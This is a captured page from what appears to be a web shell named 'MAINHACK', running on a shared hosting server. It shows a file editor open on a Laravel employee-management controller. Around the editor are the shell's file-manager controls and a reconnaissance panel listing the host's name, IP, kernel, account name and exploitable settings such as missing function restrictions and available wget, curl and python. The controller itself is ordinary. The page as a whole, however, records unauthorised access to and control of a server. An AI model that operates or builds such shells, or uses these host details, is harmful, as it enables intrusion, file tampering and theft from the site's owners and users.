[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: EmployeeController.php
<?php namespace App\Http\Controllers\Vendor; use App\CentralLogics\Helpers; use App\Http\Controllers\Controller; use App\Models\VendorEmployee; use App\Models\EmployeeRole; use Brian2694\Toastr\Facades\Toastr; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; class EmployeeController extends Controller { public function add_new() { $rls = EmployeeRole::get(); return view('vendor-views.employee.add-new', compact('rls')); } public function store(Request $request) { $request->validate([ 'f_name' => 'required', 'role_id' => 'required', 'image' => 'required', 'email' => 'required|unique:vendor_employees', 'phone' => 'required|unique:vendor_employees', 'password' => 'required', ], [ 'f_name.required' => 'First name is required!', 'role_name.required' => 'Role is Required', 'email.required' => 'Email id is Required', 'image.required' => 'Image is Required', ]); DB::table('vendor_employees')->insert([ 'f_name' => $request->f_name, 'l_name' => $request->l_name, 'phone' => $request->phone, 'email' => $request->email, 'employee_role_id' => $request->role_id, 'password' => bcrypt($request->password), 'vendor_id'=> Helpers::get_vendor_id(), 'restaurant_id'=>Helpers::get_restaurant_id(), 'image' => Helpers::upload('vendor/', 'png', $request->file('image')), 'created_at' => now(), 'updated_at' => now(), ]); Toastr::success('Employee added successfully!'); return redirect()->route('vendor.employee.list'); } function list() { $em = VendorEmployee::with(['role'])->latest()->paginate(config('default_pagination')); return view('vendor-views.employee.list', compact('em')); } public function edit($id) { $e = VendorEmployee::where(['id' => $id])->first(); $rls = EmployeeRole::get(); return view('vendor-views.employee.edit', compact('rls', 'e')); } public function update(Request $request, $id) { $request->validate([ 'f_name' => 'required', 'role_id' => 'required', 'email' => 'required|unique:vendor_employees,email,'.$id, 'phone' => 'required|unique:vendor_employees,phone,'.$id, ], [ 'f_name.required' => 'First name is required!', ]); $e = VendorEmployee::find($id); if ($request['password'] == null) { $pass = $e['password']; } else { if (strlen($request['password']) < 7) { Toastr::warning('Password length must be 8 character.'); return back(); } $pass = bcrypt($request['password']); } if ($request->has('image')) { $e['image'] = Helpers::update('vendor/', $e->image, 'png', $request->file('image')); } DB::table('vendor_employees')->where(['id' => $id])->update([ 'f_name' => $request->f_name, 'l_name' => $request->l_name, 'phone' => $request->phone, 'email' => $request->email, 'employee_role_id' => $request->role_id, 'vendor_id'=> Helpers::get_vendor_id(), 'restaurant_id'=>Helpers::get_restaurant_id(), 'password' => $pass, 'image' => $e['image'], 'updated_at' => now(), ]); Toastr::success('Employee updated successfully!'); return redirect()->route('vendor.employee.list'); } public function distroy($id) { $role=VendorEmployee::where(['id'=>$id])->delete(); Toastr::info(trans('messages.employee_deleted_successfully')); return back(); } public function search(Request $request){ $key = explode(' ', $request['search']); $employees=VendorEmployee:: where(function ($q) use ($key) { foreach ($key as $value) { $q->orWhere('f_name', 'like', "%{$value}%"); $q->orWhere('l_name', 'like', "%{$value}%"); $q->orWhere('phone', 'like', "%{$value}%"); $q->orWhere('email', 'like', "%{$value}%"); } })->limit(50)->get(); return response()->json([ 'view'=>view('vendor-views.employee.partials._table',compact('employees'))->render(), 'count'=>$employees->count() ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.32 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624